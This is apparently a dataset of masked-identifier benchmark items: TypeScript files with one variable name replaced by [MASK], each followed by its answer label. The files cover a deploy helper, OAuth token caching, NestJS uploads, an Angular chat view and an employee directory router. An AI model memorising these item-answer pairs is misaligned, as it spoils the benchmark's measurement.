          `cd ${server.path} && docker-compose down && docker-compose up -d`,
          (err, stream) => {
            if (err) throw err;
            stream.on(""close"", (code: number, signal: string) =>
              code ? reject(signal) : resolve()
            );
            stream.stdout.pipe(process.stdout);
            stream.stderr.pipe(process.stderr);
          }
        );
      });

      connection.end();
    } catch (err) {
      connection.end();
      throw err;
    }
  }
  /**
   * normalize the tag
   * @private
   * @param {string} tag
   * @returns
   * @memberof Composer
   */
  private async formatTag(tag: string) {
    tag = tag.trim();
    const { cwd } = this.options;
    const npmReg = /\{\s*NPM_PACKAGE_VERSION\s*\}$/;
    if (npmReg.test(tag)) {
      const packageJsonFilePath = path.join(this.options.cwd, ""package.json"");
      if ((await fs.pathExists(packageJsonFilePath)) === false) {
        throw new Error(`The package.json is not exist in ${cwd}`);
      }
      const version = require(packageJsonFilePath).version || ""latest"";
      tag = tag.replace(npmReg, version);
    }

    return tag;
  }
}
",outputFile
504,"import _ from 'lodash';


interface RawStyleType {
    id: number;
    name: string;
    routePath?: string;
    description: string;
    descriptiveImagePath: string;
}

interface StyleType extends RawStyleType {
    routePath: string;
}

const STYLE_TYPE_IDS: { [key: string]: number; } = {
    JR_WEST: 0,
    JR_EAST: 1,
};

const rawStyleTypes: RawStyleType[] = [
    {
        id: STYLE_TYPE_IDS.JR_WEST,
        name: 'JR West',
        description: 'Rollsign styles from the Japan Railway West company.',
        descriptiveImagePath: '',
    },
    {
        id: STYLE_TYPE_IDS.JR_EAST,
        name: 'JR East',
        description: 'Rollsign styles from the Japan Railway East company.',
        descriptiveImagePath: '',
    },
];

const STYLE_TYPES: StyleType[] = _.map(
    rawStyleTypes,
    ( [MASK] ) => {
        if (! [MASK] .routePath) {
             [MASK] .routePath = _.kebabCase( [MASK] .name);
        }

        return  [MASK]  as StyleType;
    }
);

export { STYLE_TYPE_IDS };
export default STYLE_TYPES;
",value
505,"import { shim as promiseFinallyShim } from 'promise.prototype.finally';
promiseFinallyShim();

type SynchronizedFunction<T> = (isFirst?: boolean) => PromiseLike<T> | T;

interface IWorkQueueItem<T> {
  fn: SynchronizedFunction<T>;
  resolve: () => T;
  reject: (err: any) => void;
}

function removeReduce<T>(arr: T[], reducer: (chain: T, item: T) => T,  [MASK] : T): T {
  let prev =  [MASK] ;
  arr.forEach((item: T, index: number, object: T[]) => {
    prev = reducer(prev, item);
    object.splice(index, 1);
  });
  return prev;
}

const symLocked = Symbol();
const symRunQueue = Symbol();
const symWorkQueue = Symbol();

export class Synchronized {
  private [symLocked]: boolean = false;
  private [symWorkQueue]: IWorkQueueItem<any>[] = [];

  private [symRunQueue]() {
    return removeReduce<any>(
        this[symWorkQueue],
        (chain, item) => chain.finally(() => new Promise<void>((resolve) => {
          Promise.resolve(item.fn(false))
              .then(item.resolve)
              .catch(item.reject)
              .finally(resolve);
        })), Promise.resolve()
    )
        .then(() => {
          if (this[symWorkQueue].length > 0) {
            return this[symRunQueue]();
          }
        });
  }

  public synchronized<T = void>(fn: SynchronizedFunction<T>): Promise<T> {
    return new Promise<T>((resolve, reject) => {
      if (this[symLocked]) {
        this[symWorkQueue].push({
          fn,
          resolve: resolve as any,
          reject
        });
      } else {
        this[symLocked] = true;
        Promise.resolve(fn(true))
          .then(resolve)
          .catch(reject)
          .finally(() => this[symRunQueue]()
            .finally(() => {
              this[symLocked] = false;
            }));
      }
    });
  }
}

",initial
506," /*******************************************************************************
 * Licensed Materials - Property of IBM
 * (c) Copyright IBM Corporation 2019. All Rights Reserved.
 *
 * Note to U.S. Government Users Restricted Rights:
 * Use, duplication or disclosure restricted by GSA ADP Schedule
 * Contract with IBM Corp.
 *******************************************************************************/
/*
 * Copyright (c) 2020 Red Hat, Inc.
 * Copyright Contributors to the Open Cluster Management project
 */

import { Registrar, Arguments } from '@kui-shell/core'
// command name changed since KUI v6
// import {dispatchToShell} from '@kui-shell/plugin-bash-like/dist/lib/cmds/catchall'
import { doExecWithPty } from '@kui-shell/plugin-bash-like'

import Debug from 'debug'
const debug = Debug('plugins/addons')

const bashLikeRoutes = ['/git/status','/git/diff','/lls'];
const k8sRoutes = ['/istio/install','/istio/uninstall','/istio/ingress','/istio/status',
'/bookinfo/install','/bookinfo/uninstall','/bookinfo/create',
'/kiali/install','/kiali/delete','/kiali/console', '/kiali/graph',
'/k8s/kedit','/k8s/kdebug'];
const coreSupportRoutes = ['/run','/window','/window/bigger','/window/smaller','/window/max','/window/unmax','/window/close','/quit'];

//const otherRoutes = ['/export','/cd']
//const kuiRoutes = ['']

const blockKUICommand = async (route: string,commandTree: Registrar)=>{
  // using listen to block commands we specify
  commandTree.listen(route, () => 'Command is disabled')  // no command options needed in KUI v10 as noAuthOK true is the default
}

const rewriteLSCommand = async (commandTree: Registrar)=>{
  // using override to block
  const route='/ls'
  commandTree.override(route,'plugin-bash-like/fs',(opts: Arguments) => {
    debug('ls dispatch to shell')
    return doExecWithPty(opts)
  },{})  // no command options needed in KUI v10 as noAuthOK true is the default
}

const rewriteExecCommand = async (commandTree: Registrar)=>{
  // using override to block
  const route='/!'
  commandTree.override(route,'plugin-bash-like',(opts: Arguments) => {
    debug('! dispatch to shell')
    return doExecWithPty(opts)
  },{})  // no command options needed in KUI v10 as noAuthOK true is the default
}

const redirectHelp = async (commandTree: Registrar)=> {
  commandTree.listen('/help', ({ REPL }: Arguments) => {
    return REPL.qexec('getting started')
  },{})  // no command options needed in KUI v10 as noAuthOK true is the default
}

export default async (commandTree: Registrar) => {
  const  [MASK]  =  [...bashLikeRoutes,...k8sRoutes,...coreSupportRoutes]
  return Promise.all([redirectHelp(commandTree),rewriteExecCommand(commandTree),rewriteLSCommand(commandTree),rewriteLSCommand(commandTree),... [MASK] .map((route)=>blockKUICommand(route,commandTree))])
}",allRoutes
507,"export function generatePassword(): string {
  const lowercase = 'abcdefghijklmnopqrstuvwxyz';
  const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  const digits = '0123456789';
  const symbols = '!@#$%^&*()_+-=[]{}|;:,.<>?';

  // Ensure at least one of each required character type
  const password = [
    lowercase[Math.floor(Math.random() * lowercase.length)],
    uppercase[Math.floor(Math.random() * uppercase.length)],
    digits[Math.floor(Math.random() * digits.length)],
    symbols[Math.floor(Math.random() * symbols.length)],
  ];

  // Fill the rest of the password length (8 characters total)
  const  [MASK]  = lowercase + uppercase + digits + symbols;
  while (password.length < 8) {
    password.push( [MASK] [Math.floor(Math.random() *  [MASK] .length)]);
  }

  // Shuffle the password array
  for (let i = password.length - 1; i > 0; i--) {
    const j = Math.floor(Math.random() * (i + 1));
    [password[i], password[j]] = [password[j], password[i]];
  }

  return password.join('');
} ",allChars
508,"
const service = {
  getMenuDatas(): Array<Record<string, any>> {
    const  [MASK] : Array<Record<string, any>> = [
      {
        id: 1001,
        title: '测试 SButton',
        subTitle: 'hello',
        path: '/testButton'
      },
      {
        id: 1002,
        title: '测试 SMessageBox',
        path: '/testMessageBox'
      },
      {
        id: 1003,
        title: '测试 SModal',
        path: '/testModal'
      },
      {
        id: 1004,
        title: '测试 View',
        path: '/testView'
      },
      {
        id: 1005,
        title: '测试 Transition',
        path: '/testTransition'
      },
      {
        id: 1006,
        title: '测试 SSelect',
        path: '/testSelect'
      },
      {
        id: 1007,
        title: '测试 SInput',
        path: '/testInput'
      },
      {
        id: 1008,
        title: '测试 SIcon',
        path: '/testIcon'
      },
      {
        id: 1009,
        title: '测试 Actionsheet',
        path: '/testActionsheet'
      },
      {
        id: 1010,
        title: '测试 SCell',
        path: '/testCell'
      },
      {
        id: 2001,
        title: '测试 Raf',
        path: '/testRaf'
      },
      {
        id: 2002,
        title: '测试 react-transition-group',
        path: '/testReactTransitionGroup'
      },
      {
        id: 2015,
        title: '测试 react-transition-group2',
        subTitle: 'CSSTransition',
        path: '/testReactTransitionGroup2'
      },
      {
        id: 2003,
        title: '测试 UseState',
        path: '/testUseState'
      },
      {
        id: 2004,
        title: '测试传递参数',
        subTitle: '父传子，子传父，兄弟间传递',
        path: '/testPassParam'
      },
      {
        id: 2005,
        title: '测试引用',
        path: '/testRef'
      },
      {
        id: 2006,
        title: '测试创建组件',
        subTitle: '使用React.createElement',
        path: '/testCreateElement'
      },
      {
        id: 2009,
        title: '测试克隆组件',
        subTitle: '使用React.cloneElement',
        path: '/testCloneElement'
      },
      {
        id: 2007,
        title: '测试SFC',
        subTitle: '无状态组件',
        path: '/testSFC'
      },
      {
        id: 2008,
        title: '测试memo',
        subTitle: '包装函数用于创建PureComponent',
        path: '/testMemo'
      },
      {
        id: 2010,
        title: '测试Children',
        subTitle: 'React.Children',
        path: '/testChildren'
      },
      {
        id: 2011,
        title: '测试Fragment',
        subTitle: 'React.Fragment',
        path: '/testFragment'
      },
      {
        id: 2012,
        title: '测试引用传递',
        subTitle: 'React.forwardRef',
        path: '/testForwardRef'
      },
      {
        id: 2013,
        title: '测试Marked',
        path: '/testMarked'
      },
      {
        id: 2014,
        title: '测试@babel/standalone',
        subTitle: '在浏览器环境中跑babel',
        path: '/testBabelStandalone'
      },
      {
        id: 2016,
        title: '测试react-click-outside',
        path: '/testReactClickOutside'
      }
    ];
    return  [MASK] ;
  }
};

export default service;",list
509,"import {
  SPACE_BASE_SIZE,
  SPACE_UNIT_FIXED,
  SPACE_UNIT_RELATIVE,
} from './Space.tokens';

/**
 * Spaces are defined to achieve consistent spacing between layouts.
 * Inspired by Atlassian spacing, use 8px base unit.
 * It has 10 levels from 0px to 80px
 * 1rem equals to 16px(which is twice of a unit).
 * https://atlassian.design/foundations/spacing
 */
export type SpaceLevel = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10;
export type Multiplicand = SpaceLevel;

export function spacing( [MASK] : Multiplicand): number {
  return SPACE_BASE_SIZE *  [MASK] ;
}

export function toPx(numVal: number): string {
  return numVal + SPACE_UNIT_FIXED;
}

export function toRem(numVal: number): string {
  return numVal / 16 + SPACE_UNIT_RELATIVE;
}

export interface SpaceFactory {
  getLevelOf(level: SpaceLevel): number;
}

/**
 * Create SpaceFactory
 * @returns a SpaceFactory for getting space at each level.
 */
export function createSpaceFactory(): SpaceFactory {
  return {
    getLevelOf(level: SpaceLevel) {
      return spacing(level);
    },
  };
}
",multiplicand
510,"import {
  Request,
  Controller,
  Post,
  UploadedFile,
  UseInterceptors,
  UseGuards,
  Body,
  Get,
} from '@nestjs/common';
import { FileInterceptor } from '@nestjs/platform-express';
import { diskStorage } from 'multer';
import { extname } from 'path';
import { ApplicationsService } from './applications.service';
import { JwtAuthGuard } from '../auth/jwt-auth.guard';

@Controller('applications')
export class ApplicationsController {
  constructor(private readonly applicationsService: ApplicationsService) {}

  @Post('upload-resume')
  @UseInterceptors(
    FileInterceptor('file', {
      storage: diskStorage({
        destination: './uploads',
        filename: (req, file, callback) => {
          const uniqueSuffix =
            Date.now() + '-' + Math.round(Math.random() * 1e9);
          callback(
            null,
            `${file.fieldname}-${uniqueSuffix}${extname(file.originalname)}`,
          );
        },
      }),
    }),
  )
  uploadResume(@UploadedFile() file: Express.Multer.File) {
    console.log(file);

    return {
      message: 'File uploaded successfully',
      file,
    };
  }

  @Post('apply-with-resume')
  @UseInterceptors(
    FileInterceptor('resume', {
      storage: diskStorage({
        destination: './uploads',
        filename: (req, file, callback) => {
          const uniqueSuffix =
            Date.now() + '-' + Math.round(Math.random() * 1e9);
          callback(
            null,
            `${file.fieldname}-${uniqueSuffix}${extname(file.originalname)}`,
          );
        },
      }),
    }),
  )
  async applyWithResume(
    @UploadedFile() file: Express.Multer.File,
    @Request() req: any,
  ) {
    if (!file) {
      throw new Error('Resume file is required.');
    }

    const user = req.user;
    if (!user) {
      throw new Error('User not authenticated.');
    }

    const application = await this.applicationsService.applyWithResume({
      candidateId: user.userId,
      jobId: +req.body.jobId,
      resumePath: file.path,
    });

    return {
      message: 'Application submitted successfully',
      data: application,
    };
  }

  @UseGuards(JwtAuthGuard)
  @Post('apply')
  @UseInterceptors(
    FileInterceptor('resume', {
      storage: diskStorage({
        destination: './uploads/resumes',
        filename: (req, file, callback) => {
          const  [MASK]  = `${Date.now()}-${Math.round(
            Math.random() * 1e9,
          )}${extname(file.originalname)}`;
          callback(null,  [MASK] );
        },
      }),
    }),
  )
  async applyForJob(
    @UploadedFile() resume: Express.Multer.File,
    @Body() body: { jobId: number },
    @Request() req,
  ) {
    return this.applicationsService.create({
      candidateId: req.user.id,
      jobId: body.jobId,
      status: 'PENDING',
      resumePath: resume.path,
    });
  }

  @UseGuards(JwtAuthGuard)
  @Get('my-applications')
  async getMyApplications(@Request() req) {
    return this.applicationsService.getApplicationsByCandidate(req.user.id);
  }
}
",uniqueName
511,"import { Codec, Decider, ITimelineEvent, StreamId, StreamName } from ""@equinox-js/core""
import { InvoiceId, PayerId } from ""./identifiers.js""
import * as Payer from ""./payer.js""
import z from ""zod""
import { EmailSender, ISendEmails } from ""./send-email.js""
import * as Config from ""../config/equinox.js""
import * as Invoice from ""./invoice.js""
import { Context } from ""../context/context.js""

export namespace Stream {
  export const category = ""InvoiceAutoEmail""
  export const streamId = StreamId.gen(InvoiceId.toString)
  export const decodeId = StreamId.dec(InvoiceId.parse)
  export const tryMatch = StreamName.tryMatch(category, decodeId)
}

export namespace Events {
  export const EmailSentSchema = z.object({
    email: z.string().email(),
    payer_id: z.string().uuid().transform(PayerId.parse),
  })
  export const EmailFailureSchema = z.object({
    payer_id: z.string().uuid().transform(PayerId.parse),
    reason: z.string(),
  })

  export type EmailSent = z.infer<typeof EmailSentSchema>
  type EmailFailure = z.infer<typeof EmailFailureSchema>

  export type Event =
    | { type: ""EmailSent""; data: EmailSent }
    | { type: ""EmailSendingFailed""; data: EmailFailure }
  export const codec = Codec.upcast<Event, Context>(
    Codec.json(Context.map),
    Codec.Upcast.body({
      EmailSent: EmailSentSchema.parse,
      EmailSendingFailed: EmailFailureSchema.parse,
    }),
  )
}

export namespace Fold {
  export type State = null | Events.Event
  export const initial: State = null
  export const fold = (state: State, events: Events.Event[]) =>
    events.length ? events[events.length - 1] : state
}

export class Service {
  constructor(
    private readonly payerService: Payer.Service,
    private readonly mailer: ISendEmails,
    private readonly resolve: (ctx: Context, id: InvoiceId) => Decider<Events.Event, Fold.State>,
  ) {}

  sendEmail(ctx: Context, invoiceId: InvoiceId, payerId: PayerId, amount: number) {
    const decider = this.resolve(ctx, invoiceId)
    return decider.transactAsync(async (state) => {
      if (state != null) return []
      const payer = await this.payerService.readProfile(payerId)
      if (!payer)
        return [
          { type: ""EmailSendingFailed"", data: { payer_id: payerId, reason: ""Payer not found"" } },
        ]
      try {
        await this.mailer.sendEmail(
          payer.email,
          `Invoice for ${amount}`,
          `Please pay ${amount} by tuesday`,
        )
        return [{ type: ""EmailSent"", data: { email: payer.email, payer_id: payerId } }]
      } catch (err: any) {
        return [
          {
            type: ""EmailSendingFailed"",
            data: { reason: err?.message ?? ""Unknown failure"", payer_id: payerId },
          },
        ]
      }
    })
  }

  /** Not to be used except in tests */
  inspectState(invoiceId: InvoiceId) {
    const decider = this.resolve({}, invoiceId)
    return decider.query((s) => s)
  }

  // prettier-ignore
  static resolveCategory(config: Config.Config) {
    switch (config.store) {
      case Config.Store.Memory: return Config.MemoryStore.create(Stream.category, Events, Fold, config)
      case Config.Store.MessageDb: return Config.MessageDb.createLatestKnown(Stream.category, Events, Fold, config)
      case Config.Store.Dynamo: return Config.Dynamo.createLatestKnown(Stream.category, Events, Fold, config)
    }
  }

  static create(config: Config.Config, emailSender?: ISendEmails) {
    const payerService = Payer.Service.create(config)
    // could inject this via an argument too
    const  [MASK]  = emailSender ?? new EmailSender()
    const category = Service.resolveCategory(config)
    const resolve = (ctx: Context, id: InvoiceId) =>
      Decider.forStream(category, Stream.streamId(id), ctx)
    return new Service(payerService,  [MASK] , resolve)
  }
}

export const createHandler = (config: Config.Config, emailSender?: ISendEmails) => {
  const service = Service.create(config, emailSender)
  return async (stream: StreamName, events: ITimelineEvent[]) => {
    const id = Invoice.Stream.tryMatch(stream)
    if (!id) return
    const ev = Invoice.Events.codec.decode(events[0])
    if (ev?.type !== ""InvoiceRaised"") return
    await service.sendEmail({ event: events[0] }, id, ev.data.payer_id, ev.data.amount)
  }
}
",emailer
512,"import * as fs from 'fs';
import got from 'got';
import { Token, OAuthProviderConfig } from '../index';
import * as os from 'os'

const homedir = os.homedir()
const BACKOFF_TOKEN_ENDPOINT_FAILURE = 1000

type TokenGrantAudiences = 'OPERATE' | 'ZEEBE' | 'OPTIMIZE' | 'TASKLIST' | 'CONSOLE'

export class OAuthProviderImpl {
    private static readonly defaultTokenCache = `${homedir}/.camunda`;
    private static readonly getTokenCacheDirFromEnv = () => process.env.CAMUNDA_TOKEN_CACHE_DIR || OAuthProviderImpl.defaultTokenCache;
    private cacheDir: string;
    private zeebeAudience: string;
    private authServerUrl: string;
    private clientId: string;
    private clientSecret: string;
    private useFileCache: boolean;
    public tokenCache: { [key: string]: Token; } = {};
    private failed = false;
    private failureCount = 0;
    private userAgentString: string;
    private audience: string;
    private expiryTimer?: NodeJS.Timeout;

    constructor({
        /** OAuth Endpoint URL */
        authServerUrl,
        /** OAuth Audience */
        audience, clientId, clientSecret,
        userAgentString
    }: OAuthProviderConfig) {
        this.authServerUrl = authServerUrl;
        this.zeebeAudience = audience;
        this.audience = audience;
        this.clientId = clientId;
        this.clientSecret = clientSecret;
        this.useFileCache = process.env.CAMUNDA_TOKEN_CACHE !== ""memory-only"";
        this.cacheDir = OAuthProviderImpl.getTokenCacheDirFromEnv();

        this.userAgentString = userAgentString; // e.g.: `zeebe-client-nodejs/${pkg.version} ${CUSTOM_AGENT_STRING}`

        if (this.useFileCache) {
            try {
                if (!fs.existsSync(this.cacheDir)) {
                    fs.mkdirSync(this.cacheDir);
                }
                fs.accessSync(this.cacheDir, fs.constants.W_OK);
            } catch (e) {
                throw new Error(
                    `FATAL: Cannot write to OAuth cache dir ${this.cacheDir}\n` +
                    'If you are running on AWS Lambda, set the HOME environment variable of your lambda function to /tmp'
                );
            }
        }
    }

    public close() {
        if (this.expiryTimer) {
            clearTimeout(this.expiryTimer)
        }
    }

    public async getToken(audience: TokenGrantAudiences): Promise<string> {
        const key = this.getCacheKey(audience)

        if (this.tokenCache[key]) {
            return this.tokenCache[key].access_token;
        }
        if (this.useFileCache) {
            const cachedToken = this.fromFileCache(this.clientId, audience);
            if (cachedToken) {
                return cachedToken.access_token;
            }
        }

        return new Promise((resolve, reject) => {
            setTimeout(
                () => {
                    this.debouncedTokenRequest(audience)
                        .then(res => {
                            this.failed = false;
                            this.failureCount = 0;
                            resolve(res);
                        })
                        .catch(e => {
                            this.failureCount++;
                            this.failed = true;
                            reject(e);
                        });
                },
                this.failed ? BACKOFF_TOKEN_ENDPOINT_FAILURE * this.failureCount : 1
            );
        });
    }

    private debouncedTokenRequest(audience: TokenGrantAudiences) {
        const form = {
            audience: this.getAudience(audience),
            client_id: this.clientId,
            client_secret: this.clientSecret,
            grant_type: 'client_credentials',
        };

        return got
            .post(this.authServerUrl, {
                form,
                headers: {
                    'content-type': 'application/x-www-form-urlencoded',
                    'user-agent': this.userAgentString,
                },
            })
            .then(res => this.safeJSONParse(res.body)
            .then(t => {
                    const token = {...t, audience}
                    if (this.useFileCache) {
                        this.toFileCache(token, audience);
                    }
                    const key = this.getCacheKey(audience)
                    const d = new Date()
					token.expiry = d.setSeconds(d.getSeconds()) + (token.expires_in * 1000)
                    this.tokenCache[key] = token;
                    this.startExpiryTimer(token, audience);
                    return token.access_token;
                })
            );
    }

    private safeJSONParse(thing: any): Promise<Token> {
        return new Promise((resolve, reject) => {
            try {
                resolve(JSON.parse(thing));
            } catch (e) {
                reject(e);
            }
        });
    }

    private fromFileCache(clientId: string, audience: TokenGrantAudiences) {
        let token: Token;
        const tokenCachedInFile = fs.existsSync(this.getCachedTokenFileName(clientId, audience));
        if (!tokenCachedInFile) {
            return null;
        }
        try {
            token = JSON.parse(
                fs.readFileSync(this.getCachedTokenFileName(clientId, audience), 'utf8')
            );

            if (this.isExpired(token)) {
                return null;
            }
            this.startExpiryTimer(token, audience);
            return token;
        } catch (_) {
            return null;
        }
    }

    private toFileCache(token: Token, audience: TokenGrantAudiences) {
        const d = new Date();
        const file = this.getCachedTokenFileName(this.clientId, audience);

        fs.writeFile(
            file,
            JSON.stringify({
                ...token,
                expiry: d.setSeconds(d.getSeconds() + token.expires_in),
            }),
            e => {
                if (!e) {
                    return;
                }
                // tslint:disable-next-line
                console.error('Error writing OAuth token to file' + file);
                // tslint:disable-next-line
                console.error(e);
            }
        );
    }

    private isExpired(token: Token) {
        const d = new Date();
        return token.expiry <= d.setSeconds(d.getSeconds());
    }

    private startExpiryTimer(token: Token, audience: TokenGrantAudiences) {
        const d = new Date();
        const  [MASK]  = d.setSeconds(d.getSeconds());
        const validityPeriod = token.expiry -  [MASK] ;
        const minimumCacheLifetime = 0; // Minimum cache lifetime in milliseconds
		const renewTokenAfterMs = Math.max(validityPeriod - 1000, minimumCacheLifetime) // 1s before expiry
        const cacheKey = this.getCacheKey(audience)
        if (validityPeriod <= 0) {
            delete this.tokenCache[cacheKey];
            return;
        }
        this.expiryTimer = setTimeout(() => {
            const filename = this.getCachedTokenFileName(this.clientId, audience)
            delete this.tokenCache[cacheKey]
            if (this.useFileCache && fs.existsSync(filename)) {
				fs.unlinkSync(filename)
			}
        }, renewTokenAfterMs);
    }

    private getCacheKey = (audience: TokenGrantAudiences) => `${this.clientId}-${audience}`
    private getCachedTokenFileName = (clientId: string, audience: TokenGrantAudiences) => `${this.cacheDir}/oauth-token-${clientId}-${audience}.json`;
    
    private getAudience(audience: TokenGrantAudiences) {
        const audiences: {[key: string]: string} = {
            OPERATE: 'operate.camunda.io',
            ZEEBE: this.zeebeAudience,
            OPTIMIZE: 'optimize.camunda.io',
            TASKLIST: 'tasklist.camunda.io',
            CONSOLE: this.audience || 'api.cloud.camunda.io'
        }
        return audiences[audience]
    }
}
",current
513,"import { Component, ElementRef, OnDestroy, OnInit, ViewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { CommonModule } from '@angular/common';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
import { Subscription } from 'rxjs';
import { Message } from './models/message.model';
import { ChatService } from './services/chat.service';

@Component({
  selector: 'app-root',
  imports: [CommonModule, FormsModule],
  templateUrl: './app.component.html',
  standalone: true
})
export class AppComponent implements OnInit, OnDestroy {
  @ViewChild('scrollContainer') scrollContainer!: ElementRef;
  partialResponseSubscription!: Subscription;
  isStreamingSubscription!: Subscription;
  newMessage = '';
  messages: Message[] = [];
  loading = false;
  isStreaming = false;

  constructor(
    private chatService: ChatService,
    private sanitizer: DomSanitizer
  ) { }

  ngOnInit(): void {
    this.isStreamingSubscription = this.chatService.isStreaming$.subscribe(state => {
      this.isStreaming = this.loading = state;
    });

    this.partialResponseSubscription = this.chatService.partialResponse$.subscribe((response) => {
      if (this.messages.length > 0 && this.messages[this.messages.length - 1].role === 'assistant') {
        this.scrollToBottom();
        this.messages[this.messages.length - 1].content = response;
      } else {
        this.loading = false;
        this.messages.push({ content: response, role: 'assistant' });
      }
    });

    this.messages.pop();
  }

  sendMessage(): void {
    if (this.newMessage.trim() !== '') {
      this.messages.push({ content: this.newMessage, role: 'user' });
      this.chatService.sendMessage(this.newMessage.trim());
      this.newMessage = '';
    }
  }

  stopGeneration(): void {
    this.chatService.stopGeneration();
  }

  formatMessage(content: string): SafeHtml {
    if (!content) return '';
    const rawHtml = ( [MASK] : string) =>  [MASK] .replace(/[&<>""']/g, (match) => {
      const htmlMap: { [key: string]: string } = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '""': '&quot;',
        ""'"": '&#39;',
      };
      return htmlMap[match];
    });

    let mapped = rawHtml(content);
    mapped = mapped.replace(/```([\s\S]*?)```/g, (_, code) => `<pre><code>${code.trim()}</code></pre>`);
    mapped = mapped.replace(/`([^`\n]+)`/g, (_, code) => `<code>${code}</code>`);
    mapped = mapped.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>');
    mapped = mapped.replace(/\n/g, '<br>');

    return this.sanitizer.bypassSecurityTrustHtml(mapped);
  }

  scrollToBottom(): void {
    const scrollContainer = this.scrollContainer.nativeElement;
    scrollContainer.scrollTop = scrollContainer.scrollHeight;
  }

  ngOnDestroy(): void {
    this.partialResponseSubscription?.unsubscribe();
    this.isStreamingSubscription?.unsubscribe();
  }
}
",text
514,"import { performance } from 'perf_hooks';
import { ContinuationMetrics } from '../profiling/continuation-tracker';
import {
    disableProfiling,
    enableProfiling,
    getExecutionMetrics,
} from '../profiling/flow-control';
import { FlowMetrics, Statistics } from './flow-metrics';

const allMetrics: Map<string, FlowMetrics> = new Map();
let eventLoopUsageStart = 0;
let eventLoopUsageEnd = 0;
let isProfilingEnabled = false;

export async function runWithProfiling<T>(
    flowName: string,
    fn: () => T | Promise<T>,
): Promise<T> {
    const metrics = await getExecutionMetrics(fn, { flowName });
    registerFlowExecution(metrics);
    return await metrics.resultPromise;
}

export function beginProfiling() {
    enableProfiling();
    allMetrics.clear();
    isProfilingEnabled = true;
    eventLoopUsageStart = performance.eventLoopUtilization().active;
}

export function endProfiling() {
    disableProfiling();
    isProfilingEnabled = false;
    eventLoopUsageEnd = performance.eventLoopUtilization().active;
}

export function getStatistics(): Statistics {
    const globalEventLoopTime = getGlobalEventLoopTime();
    const flowMetrics = Array.from(allMetrics.values()).map((metrics) =>
        metrics.serialize(globalEventLoopTime),
    );
    const trackedEventLoopTime = flowMetrics.reduce(
        (sum,  [MASK] ) => sum +  [MASK] .totalEventLoopTime,
        0,
    );
    const untrackedEventLoopTime = globalEventLoopTime - trackedEventLoopTime;
    const untrackedEventLoopUsage =
        untrackedEventLoopTime / globalEventLoopTime;

    return {
        globalEventLoopTime,
        untrackedEventLoopTime,
        untrackedEventLoopUsage,
        flowStats: flowMetrics,
    };
}

function getGlobalEventLoopTime() {
    if (!isProfilingEnabled) {
        return eventLoopUsageEnd - eventLoopUsageStart;
    }

    return performance.eventLoopUtilization().active - eventLoopUsageStart;
}

function registerFlowExecution(metrics: ContinuationMetrics<unknown>) {
    if (!isProfilingEnabled) {
        return;
    }

    const name = metrics.flowName;
    let flowMetrics = allMetrics.get(name);
    if (!flowMetrics) {
        flowMetrics = new FlowMetrics(name);
        allMetrics.set(name, flowMetrics);
    }

    flowMetrics.registerExecution(metrics);
}
",stats
515,"import express, { Request, Response } from ""express"";
import axios from ""axios"";
import { body, param } from ""express-validator"";
import _ from 'lodash';
import * as dotenv from ""dotenv"";
import nodemailer from ""nodemailer"";
import { EmployeeTable } from './interface';
import { EmployeeService } from ""../services"";

const sanitizeHtml = require('sanitize-html');
const employeeService = new EmployeeService();

let path;
switch (process.env.NODE_ENV) {
    case ""test"":
      path = `.env.test`;
      break;
    case ""production"":
      path = `.env`;
      break;
    default:
      path = `.env.development`;
  }
dotenv.config({ path: path });

export const ESRI_KEY = process.env.ESRI_KEY;
export const employeesRouter = express.Router();
export const DIVISIONSJSON = process.env.DIVISIONSJSON;
export const EMPLOYEEJSON = process.env.EMPLOYEEJSON;

employeesRouter.post(""/"", async (req: Request, res: Response) => {

    var employeesByDept = Object();
    axios.get(String(DIVISIONSJSON))
        .then((response: any) => {

            var resultEmployees = response.data.divisions;
            var departments = Array();

            resultEmployees.forEach(function (element: any) {
                departments.push(element.department);
            });

            var departmentsUq = departments.filter(function (elem, index, self) {
                return index === self.indexOf(elem);
            });

            resultEmployees.forEach(function (element: any) {
                departments.push(element.department);
            });

            departmentsUq.forEach((elementDept: any) => {
                var keyDept = elementDept;
                var arrayElements = Array();
                var arrayElementssUq = Array();
                var keyModified = keyDept.replace(/\s/g, ""-"");

                resultEmployees.forEach(function (elementEm: any) {
                    if (keyDept == elementEm.department && elementEm.division !== null) {
                        if (!arrayElementssUq.includes(elementEm.division)) {
                            elementEm.departmentUrl = keyModified;
                            elementEm.divisionUrl = elementEm.division.replace(/\s/g, ""-"");
                            arrayElements.push(elementEm);
                            arrayElementssUq.push(elementEm.division);
                        }
                    }
                });

                employeesByDept[elementDept] = arrayElements;
            });
            res.send({ data: employeesByDept, meta: { count: 0 } });

        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/find-employee/search/keyword=:full_name?&department=:department?"", [param(""full_name"", ""department"").notEmpty()], async (req: Request, res: Response) => {

    var employeesByDept: any[] = Array();
    let groupBy = (req.body.groupBy) || 0;
    const itemsPerPage = (req.body.itemsPerPage);
    var find = '-';
    var reg = new RegExp(find, 'g');
    let paramDepartment = (req.params.department).replace(/\--/g, '-/-')
    let paramFullName = (req.params.full_name).replace(""."", "" "")

    if (paramFullName === 'any-employee') {
        paramFullName = ''
    } else {
        paramFullName = paramFullName
    }

    if (paramDepartment === 'any-department') {
        paramDepartment = ''
    } else {
        paramDepartment = (req.params.department.replace(reg, ' '))
    }
    axios.get(String(EMPLOYEEJSON), { params: { department: paramDepartment, keyword: paramFullName } })
        .then((response: any) => {
            var resultEmployees = response.data.employees;

            resultEmployees.forEach(function (element: any) {
                var division_url = element.division !== null ? element.division.replace(/\s/g, '-') : '';
                var employee: EmployeeTable = {
                    'full_name': element.full_name.replace(""."", "" ""),
                    'formatted_name': element.first_name + ' ' + element.last_name,
                    'title': element.title !== '' ? element.title : '-',
                    'division': element.division !== null ? element.division : '-',
                    'branch': element.branch !== null ? element.branch : '',
                    'email': element.email.toLowerCase(),
                    'phone_office': element.phone_office !== '' ? element.phone_office : '-',
                    'department': element.department,
                    'manager': element.manager !== '' ? element.manager?.replace(""."", "" "") : '-',
                    'division_url': division_url,
                    'full_name_url': element.full_name,
                    'value': 0,
                    'address': element.address,
                    'community': element.community,
                };

                employeesByDept.push(employee);

            });

